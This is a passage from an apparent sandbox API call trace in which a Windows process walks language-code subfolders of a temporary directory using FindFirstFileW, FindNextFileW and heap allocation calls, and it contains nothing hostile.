0x3785fa8 [0252.002] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0x65add0 [0252.004] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.004] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.005] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.005] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.005] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0 [0252.005] FindClose (in: hFindFile=0x65add0 | out: hFindFile=0x65add0) returned 1 [0252.006] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.006] FindNextFileW (in: hFindFile=0x65acd0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.006] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x3785fa8 [0252.006] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0x65add0 [0252.007] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.007] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.007] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.007] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.008] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0 [0252.008] FindClose (in: hFindFile=0x65add0 | out: hFindFile=0x65add0) returned 1 [0252.009] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.009] FindNextFileW (in: hFindFile=0x65acd0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.009] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x3785fa8 [0252.009] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0x65add0 [0252.011] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.011] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.011] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.011] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.011] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0 [0252.011] FindClose (in: hFindFile=0x65add0 | out: hFindFile=0x65add0) returned 1 [0252.012] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.012] FindNextFileW (in: hFindFile=0x65acd0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.012] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x3785fa8 [0252.012] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0x65add0 [0252.014] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.014] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.015] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.015] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.015] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0 [0252.015] FindClose (in: hFindFile=0x65add0 | out: hFindFile=0x65add0) returned 1 [0252.016] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.016] FindNextFileW (in: hFindFile=0x65acd0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.016] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x3785fa8 [0252.016] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0x65add0 [0252.017] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.018] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.018] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.018] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.018] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0 [0252.018] FindClose (in: hFindFile=0x65add0 | out: hFindFile=0x65add0) returned 1 [0252.019] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.019] FindNextFileW (in: hFindFile=0x65acd0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.019] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x3785fa8 [0252.019] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0x65add0 [0252.020] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.020] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.021] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.021] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.021] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0 [0252.021] FindClose (in: hFindFile=0x65add0 | out: hFindFile=0x65add0) returned 1 [0252.021] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.022] FindNextFileW (in: hFindFile=0x65acd0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.022] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x3785fa8 [0252.022] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0x65add0 [0252.024] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.024] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.024] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.024] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.024] FindNextFileW (in: hFindFile=0x65add0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0 [0252.024] FindClose (in: hFindFile=0x65add0 | out: hFindFile=0x65add0) returned 1 [0252.025] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.025] FindNextFileW (in: hFindFile=0x65acd0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.025] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x3785fa8 [0252.025] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0x380c4a0 [0252.206] FindNextFileW (in: hFindFile=0x380c4a0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.206] FindNextFileW (in: hFindFile=0x380c4a0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.207] FindNextFileW (in: hFindFile=0x380c4a0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.207] FindNextFileW (in: hFindFile=0x380c4a0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.207] FindNextFileW (in: hFindFile=0x380c4a0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0 [0252.207] FindClose (in: hFindFile=0x380c4a0 | out: hFindFile=0x380c4a0) returned 1 [0252.208] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.208] FindNextFileW (in: hFindFile=0x65acd0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.208] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x3785fa8 [0252.208] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0x380c420 [0252.211] FindNextFileW (in: hFindFile=0x380c420, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.211] FindNextFileW (in: hFindFile=0x380c420, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.211] FindNextFileW (in: hFindFile=0x380c420, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.211] FindNextFileW (in: hFindFile=0x380c420, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.211] FindNextFileW (in: hFindFile=0x380c420, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0 [0252.211] FindClose (in: hFindFile=0x380c420 | out: hFindFile=0x380c420) returned 1 [0252.212] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.212] FindNextFileW (in: hFindFile=0x65acd0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.212] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x3785fa8 [0252.212] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0x380c5e0 [0252.214] FindNextFileW (in: hFindFile=0x380c5e0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.214] FindNextFileW (in: hFindFile=0x380c5e0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.214] FindNextFileW (in: hFindFile=0x380c5e0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.215] FindNextFileW (in: hFindFile=0x380c5e0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.215] FindNextFileW (in: hFindFile=0x380c5e0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0 [0252.215] FindClose (in: hFindFile=0x380c5e0 | out: hFindFile=0x380c5e0) returned 1 [0252.216] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.216] FindNextFileW (in: hFindFile=0x65acd0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.216] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x3785fa8 [0252.216] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0x380c660 [0252.219] FindNextFileW (in: hFindFile=0x380c660, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.219] FindNextFileW (in: hFindFile=0x380c660, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.219] FindNextFileW (in: hFindFile=0x380c660, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.219] FindNextFileW (in: hFindFile=0x380c660, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.219] FindNextFileW (in: hFindFile=0x380c660, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0 [0252.219] FindClose (in: hFindFile=0x380c660 | out: hFindFile=0x380c660) returned 1 [0252.220] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.220] FindNextFileW (in: hFindFile=0x65acd0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.220] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x3785fa8 [0252.220] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0x380c8e0 [0252.223] FindNextFileW (in: hFindFile=0x380c8e0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.223] FindNextFileW (in: hFindFile=0x380c8e0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.223] FindNextFileW (in: hFindFile=0x380c8e0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.223] FindNextFileW (in: hFindFile=0x380c8e0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.223] FindNextFileW (in: hFindFile=0x380c8e0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0 [0252.223] FindClose (in: hFindFile=0x380c8e0 | out: hFindFile=0x380c8e0) returned 1 [0252.224] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.224] FindNextFileW (in: hFindFile=0x65acd0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.225] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x3785fa8 [0252.225] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0x380c820 [0252.226] FindNextFileW (in: hFindFile=0x380c820, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.227] FindNextFileW (in: hFindFile=0x380c820, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.227] FindNextFileW (in: hFindFile=0x380c820, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.227] FindNextFileW (in: hFindFile=0x380c820, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.227] FindNextFileW (in: hFindFile=0x380c820, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0 [0252.227] FindClose (in: hFindFile=0x380c820 | out: hFindFile=0x380c820) returned 1 [0252.229] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.230] FindNextFileW (in: hFindFile=0x65acd0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.230] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x3785fa8 [0252.230] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0x380c9e0 [0252.231] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.231] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.232] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.232] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.232] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0 [0252.232] FindClose (in: hFindFile=0x380c9e0 | out: hFindFile=0x380c9e0) returned 1 [0252.233] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.233] FindNextFileW (in: hFindFile=0x65acd0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.233] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x3785fa8 [0252.233] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0x380c6a0 [0252.235] FindNextFileW (in: hFindFile=0x380c6a0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.235] FindNextFileW (in: hFindFile=0x380c6a0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.235] FindNextFileW (in: hFindFile=0x380c6a0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.235] FindNextFileW (in: hFindFile=0x380c6a0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.235] FindNextFileW (in: hFindFile=0x380c6a0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0 [0252.235] FindClose (in: hFindFile=0x380c6a0 | out: hFindFile=0x380c6a0) returned 1 [0252.236] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.236] FindNextFileW (in: hFindFile=0x65acd0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.236] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x3785fa8 [0252.236] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0x380c820 [0252.239] FindNextFileW (in: hFindFile=0x380c820, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.239] FindNextFileW (in: hFindFile=0x380c820, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.239] FindNextFileW (in: hFindFile=0x380c820, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.239] FindNextFileW (in: hFindFile=0x380c820, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.239] FindNextFileW (in: hFindFile=0x380c820, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0 [0252.239] FindClose (in: hFindFile=0x380c820 | out: hFindFile=0x380c820) returned 1 [0252.240] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.240] FindNextFileW (in: hFindFile=0x65acd0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.240] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x3785fa8 [0252.240] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0x380c860 [0252.242] FindNextFileW (in: hFindFile=0x380c860, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.242] FindNextFileW (in: hFindFile=0x380c860, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.242] FindNextFileW (in: hFindFile=0x380c860, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.242] FindNextFileW (in: hFindFile=0x380c860, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0 [0252.242] FindClose (in: hFindFile=0x380c860 | out: hFindFile=0x380c860) returned 1 [0252.243] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.243] FindNextFileW (in: hFindFile=0x65acd0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.243] FindNextFileW (in: hFindFile=0x65acd0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.243] FindNextFileW (in: hFindFile=0x65acd0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.243] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x3785fa8 [0252.243] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 0x380c7e0 [0252.471] FindNextFileW (in: hFindFile=0x380c7e0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.502] FindNextFileW (in: hFindFile=0x380c7e0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800) returned 1 [0252.503] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.503] FindNextFileW (in: hFindFile=0x65acd0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.506] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.506] FindNextFileW (in: hFindFile=0x65acd0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.507] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3750060 | out: hHeap=0x640000) returned 1 [0252.507] FindNextFileW (in: hFindFile=0x65ac90, lpFindFileData=0x2e5fcf8 | out: lpFindFileData=0x2e5fcf8) returned 1 [0252.727] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.728] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.728] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.728] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.728] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.728] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.729] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.729] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.729] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.729] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.729] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.729] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.729] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.729] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.730] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.730] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.730] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.730] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.730] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.730] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.730] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.731] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.733] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.733] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.733] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.734] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.734] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.734] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.735] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.735] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.736] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.736] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.737] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.737] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.738] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.738] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.739] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.739] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.739] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.739] FindNextFileW (in: hFindFile=0x380c9e0, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c) returned 1 [0252.740] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3785fa8 | out: hHeap=0x640000) returned 1 [0252.740] 